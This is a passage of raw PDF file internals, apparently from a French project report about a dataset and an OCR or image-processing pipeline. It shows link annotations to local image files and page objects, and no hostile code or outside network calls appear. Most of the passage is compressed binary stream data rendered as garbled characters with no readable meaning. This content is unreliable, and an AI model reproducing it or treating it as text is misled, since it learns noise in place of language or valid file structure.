] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetSectors.png) +>> +>> +endobj +1462 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 506.411558 297.637795 491.397158 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetSectors.png) +>> +>> +endobj +1463 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 423.832358 39.386457 408.817958 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetTyres.png) +>> +>> +endobj +1464 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 423.832358 555.889134 205.910680 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetTyres.png) +>> +>> +endobj +1465 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 205.910680 297.637795 190.896280 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetTyres.png) +>> +>> +endobj +1466 0 obj +<< +/Filter /FlateDecode +/Length 1456 +>> +stream +xXMo7 ﯘs($0h.aRHRqDֱ͎SH|$Ikс1A~ʊLoTHhS.Fi +6Uaptɪua0F!$1)~zx3gh٪""ڤ,`mEeplÝ1)+s>FC1eC~rq j%t"{˰Vͯ.:訢ѹ~ɒoχ?o6g]5ϝ똫ϧ՚g~~q B^\֔{dg竜qWֲ,etqW YCnjwM^t]Im];5ݾ0EO53YxV*(:g0=Ph&ӄ[h(z/PzF^nROBx׳Et?rsjz2noƦU颷^p1uCzz8;OgՇ4;ʈ 8r7;ηL{ 1uع١ +nk$=0ig#s֭VJ9B)\a:{ә 76 ,VL/4[\Sa &/~np9&.cB*`޻9`fi4MI5NFҏG4 +ho@ws7sWAy`0m KyoW๿7[''ݦ\S&6Y\2ȊC=f; ƕ%X4g Q 3!JLvΰ*TȩV~f)CnZ ڑˑe#(recέ8b]{Fe.s_ۖ` GW'6E`=:V_kexɎJ ]{y5'z +{ ] n+A{5(.p$k_:v%ZPt*,ʞ6{;]|1P6Ɏ@*O#g ? Z_o˗Szұ篏hr)o&$ʓ-?kTɿ\9ʦcfs!͖EY:|Tr 'iLWS͟ (*oS_ȳ`:#+> +endobj +1468 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 499.193322 39.386457 484.178922 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeG-C3-A9n-C3-A9ral.png) +>> +>> +endobj +1469 0 obj +<< +/Filter /FlateDecode +/Length 486 +>> +stream +xSMo1 ϯe[P¥"mK$3,HqƉ^ J,dZs8}&&-w\;))5xl&AHc3%*9%0}O-^=2ixvHhq:qx9H4R{i!$fT'5Z}M*v2ޞW_rөΒiN^uwG=dln (dT> +endobj +1471 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 110.449041 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeG-C3-A9n-C3-A9ral.png) +>> +>> +endobj +1472 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 110.449041 297.637795 95.434641 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeG-C3-A9n-C3-A9ral.png) +>> +>> +endobj +1473 0 obj +<< +/Filter /FlateDecode +/Length 698 +>> +stream +xUn1WpUY怀CiHCL&PKTyvO"@nKmϯ\FBp@˜)s|'A"[i'K9:J&!dˤ6i>>eo s6bNUOՌ, X1!Bv )Z_#B`ˎ9>A<}p'!H;JDmcZTfC9qHZLt>ױovm=q^H^ZzttOU؞Zhm〙2>ў-v;{sレ͋:aV*Jf1jDv3.MDR7.6h\Uo\hzE5IVd#:$ըד"u3859YGDz|* ,xrMTN|1yQAP=؀Ѡ_}tp':Fwp>D2^ikaɽNtĺ6C%=6r `>!j5rޱ`&Y/J PJܗcKe0Z8vDkir +endstream +endobj +1474 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1473 0 R +/Resources 4 0 R +/Annots [ 1475 0 R 1476 0 R 1477 0 R 1478 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1475 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 731.610822 39.386457 716.596422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeRecupImages.png) +>> +>> +endobj +1476 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 731.610822 555.889134 317.257699 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeRecupImages.png) +>> +>> +endobj +1477 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 317.257699 297.637795 302.243299 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeRecupImages.png) +>> +>> +endobj +1478 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 259.076899 39.386457 244.062499 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeOCR.png) +>> +>> +endobj +1479 0 obj +<< +/Filter /FlateDecode +/Length 467 +>> +stream +xSˎ1 Wy؎4 8cg./QIH&LlUe;|ެ$| y\h;!ג+'33S#{> ߆%z%RS\r`Wp3'c QO{GR1-i#eO 662 :/:Oz̴N"35_ҼZ&,ȐWy9nXx,-S,IbIwo>:hC} N8g7)i4 ?ѼQӂ&\~L Mг]~P'~v8PbxUs gM4W +:'fB +endstream +endobj +1480 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1479 0 R +/Resources 4 0 R +/Annots [ 1481 0 R 1482 0 R 1483 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1481 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 329.046958 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeOCR.png) +>> +>> +endobj +1482 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 329.046958 297.637795 314.032558 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeOCR.png) +>> +>> +endobj +1483 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 270.866158 39.386457 255.851758 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeTraitement.png) +>> +>> +endobj +1484 0 obj +<< +/Filter /FlateDecode +/Length 719 +>> +stream +xVn0 +UH- P=LC[$fɂ v&HK +|/:1@N- tG8z'tHRi#ƤFKkwBPg!YB +1QJ·jݿiρJ~zrbrPv ZhA1FuibNf `c_[vxK|ri̼ظ0^}Ir29Wram"=j6/_+FD+O 4+bMa,ٛ fXf+_ƾEAmC5-6j BFJt_woc_}*K5)noMkd1j,ȹ=7<"gEv.1l.hw?=/%kzD\*֡Omb/ +č2v5V7؂Ӟ/4}F&z6{e۠`Mqhc8Z *1 Q'44+:4૘T '> +endobj +1486 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 356.670499 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeTraitement.png) +>> +>> +endobj +1487 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 356.670499 297.637795 341.656099 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/DiagrammeTraitement.png) +>> +>> +endobj +1488 0 obj +<< +/Filter /FlateDecode +/Length 3055 +>> +stream +xˎ#@hO`1@ AÌvǗ?"fԥnJGШf*y >_>pF_1n_N F9{Zh/BjDF#JwOyP8)wg`=_r<@ /G7'JT͟FfhR Y=ؒ aH1쬫ΐX8"DaNH;j4jCh}J#BW!@Zl~>?z$ڔsr5Pn ;گ֡u@|t=3g^Sa^ʴ;VNh*I gV[:r{9xpwʡץz-|Z'vr BIMkE`֊"2ݒ D 4'Fq[dέ_n"ӨZA&]%y/a' d4"h2wL,EԮ%7.ftaz) 6>IяAN??S$";5%䊍!hm{Ub?/&Eln7f,- +0 SqA3\ 0>_=~u*Q܁~/{B2UVݘɃ"_ZEdɈD@Dv^D\m"d'`x.u8A+Ү넫0{a]e<33$ ȗJ2i`AIC<[)Lu^BM cb @ZlٞQګnŀxyT4ݤ k1F%4qL]qʐ(K>z.w(er}8S-,(/ >6JYrSa, %ŘlOWͼla&cʀR3# LG 2ʎ,spwN.>̈́#NKpy` pߪF +u.E=T<sMX7C3 (al +uЮD/ia~011m&|-wl {X<0B.bG$Hk)V\ID$U?K Pc&&أd,oZͮBkx52D121!~0:2m&|kN CN8x%(JBࢱO#C.ָ:P}[Il[\1kFՆod|T)LOlR[- MvkJ _C"ѳ) [dcTK>&[<;Q)rˊqŨlh[+k=kFN|'{GU<"Yɓ"$-<9S.Lv +0TXAo;=V3j;RH~K6u%ż*DT|;E6= +=_)p:>fP> M<[J'3ZtRa,iBbO +CvT{ -DH/կE&6KU.Mx: m"P>kxp(Is&%VJr-wlPUYg4=_)Gj8f4bdOnD0Ϙ (}}* u(Og(S*۫c l[ jpFcbm[S 6X5kei'xתQB)u,~197RBqdžTǁ?_r>oaWtOν213B1R; +endstream +endobj +1489 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1488 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1490 0 obj +<< +/Filter /FlateDecode +/Length 3547 +>> +stream +x]ˎ+ It,۳= dR/HHn%}xyIJ;Ay-Y}}™33f?sHgA3gBpJ1?.]Pq +!%3"Xo_rE0~?HMi SK3 .y5gueKzL +ᬡfFDs(n"&sz4h\ +}?*$sVJͯo~ ˪]?Ԅ +X- ;W_SߵZZIN/J31K ۮWh+(=e<$?Rx WQY.8ZޤcEq$$w$V>0ky'15ۓ +ߑ f7C֗M^_ + ^NV Fwu[H18_٤6d?Ym-oO CKGTB38J(bBKÞ0SѨH{ǂ {\#ìU&ap$; J!llSd4:l@7&q5nz>#a\+sAk:%RI'39dD2Uޓb-4"6윱J)~r핱JKC:9W*1d`tWtImfx`9M' +cw29}ç2UtM +>@#=nnEPw!Vq͔Nt3VRRh(79Y5M0PY铏^'E#uGf1Zp\ur)]<8+/"!sۉG޿V mT#Qn5F_oIJa]͙2x9(%GwyN!6u>$)v EFelGH~0KѮ[ 3Z-K^xk^+h2Cʞ2STVJ,Qz[x<6h8üCA4vF8y{Nu#iuQ>uj ^V|( yhsTpd,|K}"O"Q/nw9E" +G='ǧHr +41zm0Z̃C0hd<}A/gWyv6 +?G>'058y|K%ۙ8{Znx&MMwlfߧ4ЯuUu .[5JhuѲ +򖹣wlC֠33m]AͧG#*UM6mҰu\ńz[ N-;gmK֭=ZB>{u<ڦ6xdzmj9UKPN;oB0ozW{,}Zh=nMw'hF ÑN2 +iÕRm%mZ5G 1HEF`|u HNjGU?/3h2tWՙk2i|`CR˪_TywxxZW r[mtzp +zR ;'ݟBU< kR]YSN=i;)-?wY|oU1&z`{1(EAJ|1'Sxcݰp>%.IsdXLY +endstream +endobj +1491 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1490 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1492 0 obj +<< +/Filter /FlateDecode +/Length 3207 +>> +stream +x]Ɏ#+p .Fy J5]s=AfJd*S$%OZ%1"L(/X%Bχ)48N {zDS <,8bժCWrG*8\ro YWC @WNZ7t'ڦt;ѵ:N~ڀt;e:7!ԡ+ĸC7Fq+||Uoӣk6Q{$ č|JY䳷0>bSJZSGau0&(/Fs/{dMzövAކmiJ@>F8FvRۧdiKrO-퀒+J;FvPzwJ;m*BinT *srB"$9z(,e^'qnz +@ +H&GJ*YE$~T*aѿ; w7)ѨʆҊb:GAy:^ZRiZKX b@zf0>x_પ$bjم ++?skOǦۥvᚃfsˑڀWYWA-k6,Ȍ[4yN~W: Љ0nr-b"k6~KSR73%WV)C¹SoCvkm^`UYioU@( 3M =Qu}Lv;pbj5, ܶri^+aTϱ[H]r֎|Z股*1(Jsfߣ4TB%vtL=Ǩ]HN":<K7KZRs'?|IsG-K2<^1J:T?~)xNŞX#a~YjC,ΰdr+X_%LۨL/J3> ]nUȉ,k˶7l{p|_(UMKEl8TeX*5ʲU&[JՑݤSv- ݗz'\b`]Q[=(kX&Q8IDܛ؀R /` s| kTfH_Ȣg{I}+[Kr;-A<E aTX7ʲ)à*_sVU\gwK^HX-0/!xCG&d1159&Y,Gh&݅kJ%T`SGM,s㆝3ef}ލ>(ū((w)#R> +endobj +1494 0 obj +<< +/Filter /FlateDecode +/Length 3838 +>> +stream +xێ~py>,0I.6 ݽ{f@,ReKAi-X'Y1דI1{'z|= Br:sƨb:RRz12r?RJi-J>|:~9<+ E]~._~{'̼ >8jJv|vH^k.SIz+O( "Z=ÏxVZϯ}z;>ϭ߲HzFz[OC^m׻c=^sΎ2c\9cυw~M1q=gs맡抬s?Uzϟ?\ +ޑu$bW_e0N44)rRiXeyXߙ5\Lc)ѿi0LEfGi)$4ScTa̦jz̳hCwْZ!{.k{VlVI(Lvh< +ݐa ]~起&c)# G @5LCdʹ40pvi9m-&hGAcQ9P1ҏìDh`* |nC吗JC|c)Mgq&\R%!Q]) +$ ۴ǣrLD +I_NA]3q]BcjGgf n x(e .0u_Ltξ&0JG&aAg.nm@-:%s7Қ>E噟YIe&ؔj@*̕Q #B*yUX3$C{@0# CW)t}B3Lr.u5KcZkmL ?)0B O)"D+'5C;#JOvp(h*J-c בF^83P +: Ky')*JnEGvim㌡.)@hT58CL\R/52Zl6qfJ)2-C5^8\c{tu kJg&Ġ8gGTy4]x*Tvb)-@yxNW S.) pQ--)\~\/P.e-ΞZ[ Ur)ΨL#aYyG-(5/ԉ]<?Yt6_nSYvc̭jL.NDJ|s.Is Z5լe&%յ&P(; Q+Hӎ߆$,4ɫo5IW(fҶ9&M:4(9 7caE<+9kT m +*K5 w>O@yUETDiu,2z ?GRYZ/d*@FomM%T(<:UaΓh80:r4Zz<)R/K6i#+\ym[JXP%[# +([[r PN.[KbkKfa DžK7q71;N1XĴ2l,w@EX,FVPT,Nd3Dܝ%iՈcͲߘe%(KX;/KF}%ʪOTނKlii9 .QfKle@ڙ qKy<%ulM'GeˑKfj^u3 y%@X([/>.Uڸ(F=7pІ#aLY/Mm*na.^dbgEq0isee(FFq1 +8WwQTI;MVU7tMs(k3@yk%ʸoŲ6ǸV`m6`e2;JT zmDYFIT-$ʒ 4Jgc\lcjL y5*l0((UmZ 2e&¨JL"ѧM~ ު|Ta,.oyEq'$@1 +f蹙NTӞh$@={8{w] %30 mwK ^4P>ZOhp P|OxDʚ|bx='m=usPoUWr#oxD٧G@ϴg##.&GX2:3H4xDInMr|P`Q y5*l0(Um?(KMPyXCݡJŌ*W1Xx([)먯`#P5Ls=7jE]U[EV馓Ǧq S[ؼ3RUڸ(F=7t&dω\^>3|-Khk*=L{({-@y4 +(=A%1I`wS7r~aڄø9@y% Uׂce6Pm%w("#C[is#XZgzq9 +Ks4Pt21 +@U(ln6T%f]ڥu @Yl +^(*xKPN[;b\V=7wHɪGcXVk 2ٓ2a3ф$zed?ise(>Fq 8WDI0'k +Ӧ)ʾ<<,,(uqq3Qз# ([U,3{qҏzq}D6_p2_Zg(z4(qqq ֆ#3@'[өZpvf+{XIT7d0)ۅJ-~6NA8깾BAX([FPO{\v`Pz*/s3*+Hѷ 5tzdUP:<KW>rr_r$!1JDc0Y{>mب*GAr> +endobj +1496 0 obj +<< +/Filter /FlateDecode +/Length 4020 +>> +stream +x]K# V, Y`6$ 9t{{@(Uz٬32 *QDQ*u;P"\|y[?ˋGD +UJImKcc/~IhQJkaUt+%wJ/y!T)˻,~t-{-Et=\ֿlrJygY4F|Qe8 CJz@j|ㇿ?^i qd3_?>&K#0x4 Ug-hxx/J6'QK\"LYj-z +֙q QY7M)=J ,U!?_d4BZ&ueBG<v۟:}^PzxOpn!M[=7Erop]\ml'rוR{yL3>hkD +NHL7>74G8x9TYw ka&p%T@ b0KOszWE1^DVQ6yDDNGX+ViD]jðe& G(znX[J##Yt9VGRkgK`ͣh$-#'!^`\KN{Tq2&>Z@jm R葵44Ax6]HP.QFke뤒-c8-6 Ǿe䫟,I]Vs8a1ƶ1H@p6 =58d`+4с"tR l]݆^kfzd *g%?ĤmF6y;m2tM&Fw [  j(_"sVe[!rJd~tc;8a%f3-`0n/6D)O}M&ݒcKDK,'\L7ͼX4"}Z\.bJZZ~vim.*d@ߘ,rOiͣZ>6) v2]XNdM U:)iqlZkFrou1". $@s?_[h֋V83Σ" +eZ_t>zwEq^+[%PXŽ&T6zO][u[k[!y~/yO+blcɥm/oRľ]ktul.ڼytB uȞ)1iV܉ +|!?!83;0z $pR@$L1Z\\{B$'\9Qe25`xIc49'-ケc,&!HswԉmA~Lرp,h.˹h@Nf=42{ʈ髱p9%'Kw)~; {bo_TWڻ+ 9Ò`7@+pmy#琡~׏:t;Z$=ۑ +#[5M/]7ܶ9]*.eBgB .dK jvABx+–TAERMLS~S'1yh,(WgeF̡2W2\ȯgzQ]7v:meF/bϿ6jV the 9=?s,&G55 K4C?,VJ;֩BM'J=^0,zt.B/A%W7ႈt9X;ɴk:uk}59\AKO :GzHG^)`O؆6\͖z+V9I/Ѹx&F[q_솓@<[ +B|Ob{Y$3Ι`6mW=F$ V +iԹqNpXCAuO81c. Gfyj@f{Z"Gܔ'$E1ȋ{q>;LrX ()U1N?Rnt@D+x,G5?o1%mۊ:b?u>t#äG m0y4`Q4vԺڼg1R pz9E/\ipsvҨGl 2uYsJ9̸(a_{̸_ zaW1y= rw g`P@T_W ~FP]zH1R4XOiFqyB{Β"{AE#jݙdT +a2htrB#XI%fU: +rz1SiƧyju +7ggtorNl)VZp?ZcqEǤgaٛ3>[zy|= f_ +[Oi ѹh˟h UeZA\:^؈L>z}͹H/10]Śt}|AN S^~Xz Ο>`d;rA\c|g]tfG<3~G>zv{18)K*fvbr]V֣md$`?KRݸnJI! 啉+ّzI)TD!6 M!hc`5LK$2{#V5d;r% Ϩi9d_vZ@?Vi`!ܷY ?O!)՘Qu+fm*&ƥ=,n8'ІCzOOLɁ4A\67?F my:aAJ:J2؝"K K2t< +endstream +endobj +1497 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1496 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1498 0 obj +<< +/Filter /FlateDecode +/Length 3527 +>> +stream +x]ێ}W `!@<$p+=L!91YacT1B) 4F8k _?y!?$#!RZ ._?<)!JR~zN!|9FEf? DEĩ_8:#|m2A9h>o%VnXOJČ-,\ozYRڬ֑CZ)BPnkj F?1N1N8BM!z4a8I&GG "SLv6ˌNXDls,z^Έ-L2æ4}Թ`URHqrδ_VOq9;p'4E6R $2\ۍ3/)Bh儴#b4d ':3k +tp<ۢCF 5 $ZX !E -byHt5]hk\E+@+۩ +4dZgTB$d3 -öA4y4k}8&mժT(GK\p9 3ޒ%7OC҄jZI Fh% []= mHJ*﯁ۂPJ JsK$]N"5e[ZE)U"B + (cJ6q![_/r^lyWˊ- VumcjwhPb>mW +,WؔB}?*5aБvJȆ #w+KJ0>}> +ּ`71$[Q"R=|=&e<{a_fٌ}Wߙ2/ߩ]c .b +fZW#9* ۻ5za$#Sbʆ+|#^#)]1.OdLZhoBj M`)eTG_SxJ2H1>O,1Okn)zHE NA\o#A-Nyh:WL@ at+yˮSfg'yyr᜝u\%)~>y0g%D2@zCĞ~EyI]Ei6N rK їd5OV IVsy"QnaeSRa}l׺YP85DE5PW$hUG STcD1k}wjch}V] ѫXfq!7aPoV^U˼pegGsw71 r!=BcX*d?bW؊X;Xl! H=y'l>vS&9tqY I,EyCiOR!/险)3}1pe$[Z9iH։cPY n^jA<ȫEBv!l2mzy +1ګK3m(JaTE&͇qx ה xbPw2N/+rkhels;my%l; e wlGtYhbJw2dX q:~#ۖVˀ U#o.#u#_jq)oW+Oc2vS`m]wf k;Y(G7 e8ײPr: +E״''=JHw5-PfHgbkmϓu &7voyIC$^I17S 3W~ڟ˫;}+}V*X# ,䟐X?)O4B̨#+ JQS"PJlt<78d3=g:%lۡT +endstream +endobj +1499 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1498 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1500 0 obj +<< +/Filter /FlateDecode +/Length 3307 +>> +stream +x]K#Wl 4' lHM avvǗlu?"/u5h%"5$3+F_ p(gA =pvTHшҝ|SNJ@)a Xopr<+*8o 3-/'JT=:O=g9뽰. @B\o^쫋Iʋ.#!y/zN 5?|^eĹA_N?=2>Zl<vO:x_!Q„HZ5fv3{ҽ1X~R$u0r3\& + 0_}lwUhAIoWuN<254I' ;)RC2&(V1X$ÄFh>($fz.צ{#J=&2Oٍluksn8e{V&r]1Qu[¢IA .Y:AY'%b# mٽ85F@1|ۍS嘁Vt3'8krNk1#4M]q*fd~z.R\,Hҷ0e‚s'* +c#{x<2ƻDxPCM?4/u$;h*#{xdn:khAI%IgnutZpӹ=lP[ѰvAyj"|+%y]> y\}h3ZD>-dIדY.m^>>/]+r-=TȚWm4!SV%Bn=U!K8Te LMTΥPHq'Gқy;<(A+Wgi5ӚK޿!'Uq7$ -l|9G8O?,X[e*)AgW /! vs>4Dܹȭ_3gwp+{-&W76Ww%<9YU\7wd#rUiOQ(o$3TF& ǥ3Xq19 +%[ifwfٺ^f/V,n·F-V'㬲]tY+mǓqu}fwV㰛$ 08+AoJd|\]pNjŵ8|b6|#r-k#yM.^غ_/%oWK՘\us@ u3C.bjndҝzy M3 euF)yNjQ.n`ζ%H?xpkX +ǥ:ZC~c뽣s5˱}X/>]i&z~௓4i9]js.y1yjmp2& XΖJu&T!i~9#_:mŇnhh|8e?/j_fm~ۖ]$iA +KϤ+I Tb n9kz٦WFJ|)c(nPKѨ;/ TH[>0^ewQevO +~kUU#!X"|˒q% ŀd~<㿫]

    m%&zmG|ǧj?Ww.>G: 5HI0Hy1Z +V0GbAܻR +|q* +endstream +endobj +1501 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1500 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1502 0 obj +<< +/Filter /FlateDecode +/Length 3607 +>> +stream +x]KWX!@$9l0IrLi)ʒIY,k/F{vDR,wVSI$}MXgd +TJIm1Ycd8N! 1Z8|tꜿg%މхyN!h\wǣ"yn_Di.R;"u*H^Z2ydJ/~"x<z?{i󧏅 +ZxT72e.R:!7xCEkO!w +;Tt8$$M݊2*nsWv- vUk5,MLDiZhNA]Y\hc4²x+,I>إ +M%qX˔C`h(% Pyݞ|Pxd2Mď^bS% iDzJzyu~>_~Vir9RM_ﱖj@xfV5uUPjIv%b&\Q}òT= +79ML+ " )}LMaݟr >·]P]`6vua6WDocB`a!|!'0|! +6W$f+vC? d T=! _WB@+'5亇`'X9rSǽ-oCcKA] Dk~.٭Q&> -XEALڬϠx5;.k*$I=J_Flk(%,ei_\d\SܸtAg,#WL\VEA}(^$ DVk04w/59A+/7GduRmd(4lȡcBZ,7CR'H S1c) iϡ|_.)1~Ub\#11JK_NsΘP֚)yZ0j1rF 9~^rbXMj٥°ܿM:1̯ӵ4Ϝ<]Bw̴\Q| #a|Zc?Y\rZn[RLGN!%HH{hz\jVpTґה)g>Ӵ5-*yq[hH +OQd8˔,xS<|b7%f6J[(M6pHlaT-؀q&1 td3Pۅ[ +,}3Pv }3/v) NP6SMI1\3fO%6vƱLd̨jRQiǬYd--+-X=[tl39zSvwH$P!]@qku IPْE^oԼ#"ɸG ס%t&)!:ZkՒyn%w^Rӭz3]5^ZQdKڙMz)}w@~zSn^~׀İ!*S]SeDZTfyUQ.cYuU * ZQ]Va@s/;zc*A횀 e97RHФǒiJiS[ ީj+O--fUigP= 3%[\M P;͓I Iᐈ&yoDWU;Nƾ*R~cؽ(*ue䂇шl7nq\Mj!Z1M5Q9"1qas]!xXA%ai5ʲ '^s8p0\jA=S"UY +} W{+;$}ʒ&rCp$FYvAƇǁck݂]Zk}MPDZGp>FpU5S֑Yfw@{Ǻ> 8t6 $q$$ IULi=@-.H a]AB#HȲ@aH[ 6ʲ > ѱABߡ$={fK$De䂄\AC"\UMG\PQ_ ^ A~ HڵzUHPHI' ]$P胄ܬ $<,**H.9 QKrA6Yv!Ƈ !6:>H;bg0kl;kHxDא3Kդ`ˇZrpK!!!ȏ22AhIs58t +TڸeV$!չ\Qp)  Gy9hP:ȦS'aysHɪS${s yWXeZo=z:k]ô 0+伫\X {X {mqĥ푰tT]dc#= +XQu>8/ڦ:bd N:(H o3 +>JYA +xyxX|gE]屔5z1?3~:=NLn>󜘞gHCx3`{$,ϐţQB<|MbUʧF#Ȋ˓%t +򠃁n-7odlH9g CuުzIg$)Rt|5/3#`/g +d9_W|rksYI<#2fۥr p\4|’qM+\.0IgAc>AC6\H[u4Ȗ\n<>}uglT-{ +endstream +endobj +1503 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1502 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1504 0 obj +<< +/Filter /FlateDecode +/Length 1193 +>> +stream +xYKoFWt3}EbpΒDJi9of%߿CH!l*yj Xߺ+&'߿԰ˑL,AR”[Cf柦oX(D̚b۲Ҽ/6{Wԫ:÷&<6`i40?\? HA)T0G@hh]mK<5jd4Ш">>y=R7<ڶEavvlr{9хb93ԅBV\N|yh=>dCL&p`. B y"S"n޹7w'mhRd(LT' rN͞.<7XٝDXBHE|jRA=(a:r^nȮD?o~15f]UW5RR+^/+RTD7]RS1N*awA,BF@]2L:^%k"SjįSs$x"vsܯɝQ-Xl!R .-_$JrqFϢSߪĕ\~lL)ujV.|ֈ2F"EE"w]ǫNt9q5ۈWc 1Y]\ѶW[,~y"jnIybʽEi'/UĀV(z?ST L{uI^ZEh^oI"by6Uwm#8 pT X?&Fz=+،WYU2H`K۬IRVfێd-dd]֜ !i}؟0|9'wytu۶4Ke;&38:)aC@6$ +An Ʉ[a5]9AycBVnolv4zᘆY(tq7[eYƾ@'oh7CAnsãZF ?5F +endstream +endobj +1505 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1504 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1506 0 obj +<< +/Filter /FlateDecode +/Length 2631 +>> +stream +xۊ+_hU*Ja 0ny9/!%EjmW_fVKUm7 cbӗ׃5l8tL!#C4֡ "-tC^ [ˑΙb3|=ë@ Cw `Vfddfof \ q!̱A. Nda!rx3!sF${K;a8$x|rO?}wdB'?%ؘxK+1\5?#F>s箄GEi9 2Ƈn("]dgQ%h9?5rk5a;sVs4O[^Φ(P| +c2;/Qdz>EFSlMJe@,3X g*yȉ2=54ßD9<`0sGp;7|n+Xâ|>lq8T<)jd/\ 2ׁL"_/Zm2̊D?o^_||>׊xJW!.ϓ$s쯅nMYۏpG,Xߧ`xx5C9ppJ7jy酗%Qd5/_s2)P,T뺅Xy+ +'pHdkxN_ 3 s)Rh{s9Rü$Hj&GĊָPr$ҧ\:IDJܥT+uhX_6j.6*78sk%!6nQ&mT[4MڨTb9€J6OJSswWZN\a6P쑖f bҫ¶B}]8yVyC ^MEɅBը[vutaGsxxnx b8T+ >AN5BtDW vSݫZ,=pIsLG3)Oڪg+~rAiBލXGB=x`|7I<xzn8P*`־68:W{i0'C U6iRCf̝7>m%=:JkBBߋ;E Ccݼ⤲c6=t7S r`wJ4;i1& P(5:W{8=wc9ͭkFA:k ]>/pj&;A T?5GJ@M +kIKw~џb֞[Rڴ:PZmGiP{ ]\E o"l[$W{9^5)%1{MiԺUR k\a㣴[ Oh7|aUWIƊzkyWsC7| +CϮ*㡭Ջ}]qyܵ^jHJ| [{'rg_%l=博PZI.3K\\% j~K_5M⋤Z66%^gn!s>7 +4ې[hגI(Q^n);j/Z͍X-e<]%v'Pwn+6uBp~Ȫ7Y* d]4I,R?F:< +q0^a8 ENᘏhdQj}ϓZ. +8Dh`9Dӄp Ix-@[Կ?R.0A+&r^|7?t9r/ +endstream +endobj +1507 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1506 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1508 0 obj +<< +/Filter 